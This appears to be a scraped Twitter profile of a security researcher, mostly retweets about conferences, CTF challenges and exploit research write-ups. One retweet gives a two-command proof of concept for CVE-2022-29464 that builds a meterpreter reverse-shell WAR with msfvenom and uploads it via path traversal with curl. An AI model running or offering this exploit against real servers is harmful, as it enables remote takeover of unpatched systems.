Network Intrusion Specialist
Joined October 2008
- Tweets3.2K
- Following389
- Followers9.1K
- Likes601
antic0de retweeted
The first 15 minutes of this weeks @riskybusiness is why we build @ThinkstCanary (and why it works).
- Attackers know there’s value in arb file shares;
- Attackers know there are creds in random text files.
Canaries && Canarytokens let defenders know when they are being touched
antic0de retweeted
Risky biz is looking for a talented audio producer/editor who can also do newsreading. Interest in or knowledge of cybersecurity/tech a plus. Can contract a freelancer but permanent PT (15-20 hrs a week ish) would be even better. Oz/NZ preferred. WFH. DM me!
antic0de retweeted
Can you bypass authentication by exploiting a vulnerability? 10$ for first solver! 💢🔥
octagon.net/chal/3.php
antic0de retweeted
Congrats to our team members selected to join Team Oceania at the inaugural International #Cybersecurity Challenge
CyberCX is proud to sponsor Team Oceania in the competition, which will be held in Athens, Greece from 14-17 June
Find out more here: austiccquals.uqcloud.net/
antic0de retweeted
From a VR student today on our ROP chain lessons. I'm dying 😂:
"This week's been like"
antic0de retweeted
CVE-2022-29464 PoC for this in two commands...
1. msfvenom -p java/meterpreter/reverse_tcp -f war lhost=192.168.0.6 | curl -kv https://192.168.0.6:9443/fileupload/toolsAny -F ../../../../repository/deployment/server/webapps/x.war=@-
2. curl -kv https://192.168.0.6:9443/x
:/
antic0de retweeted
My offensivecon 2022 keynote “rules to hack by” is now available on video at the link below
The great @mdowd keynote for offensivecon hit YouTube finally youtu.be/7Ysy6iA2sqA
antic0de retweeted
I have been playing with KernelCallbackTable process injection lately and here's something I wanted to share.
#redteam #maldev #infosec
captmeelo.com/redteam/maldev…
antic0de retweeted
A few people commented that it was annoying having to login to SlideShare to d/l, so I've made them available on github here: github.com/mdowd79/presentat…
I have uploaded slide decks for 4 keynotes that I have done in the last few years, including the offensivecon 2022 keynote ("Rules to Hack By"). They are all here: slideshare.net/search/slides…
antic0de retweeted
12 ROP chains later - from CVE-2019-0567 crash POC to code execution.
ASLR, DEP, & CFG bypass + ACG bypass using (since-patched) CVE-2017-8637 to abuse the way Chakra-based Edge handled (pun intended) supplying a handle from the out-of-process JIT server to a content process.
antic0de retweeted
Thrilled to share my new blog post: Put an io_uring on it: Exploiting the Linux kernel. Follow me while I learn a new kernel subsystem + its attack surface, find an 0day, build an exploit, + come up with some new tricks. I go deep and demystify the process
graplsecurity.com/post/iou-r…
antic0de retweeted
Guys & girls!
Exactly a year ago I promised over 15 bugs in win32k.
You're welcome to read and find out about my biggest research so far: #win32k #SmashTheRef bug class - github.com/gdabah/win32k-bug…
Check out the paper and the POCs, there are some crazy stuff going on. Promise!
antic0de retweeted
We are pleased to announce tmp.0ut Volume 2
tmpout.sh/2/
ALT table of contents of tmp.0ut volume 2 linked above
antic0de retweeted
Ever wanted to debug your microcontroller over USB-C?
(I'm talking JTAG/SWD, not just USB!) If you already have a USB-C connector, there's no need to have an additional connector to program (or tag-connect pads, which are super nice)
Here's one way to do it: 🧵
antic0de retweeted
The show will go on! Droppy has secured a new lair for #CrikeyCon at the RNA Showgrounds on 3rd September! Check crikeycon.com for updates as we have them!
antic0de retweeted
I just posted a write-up on how I leaked uninitialized memory (e.g., other users' HTTP requests/responses) from Fastly using a bug in the H2O webserver. Also, there you can learn a fraction of how HTTP/3 + QUIC works)
medium.com/@emil.lerner/leak…
antic0de retweeted
First, he forgot his PIN — then he started looking for hackers. Cracking a $2 million crypto wallet theverge.com/2022/1/24/22898…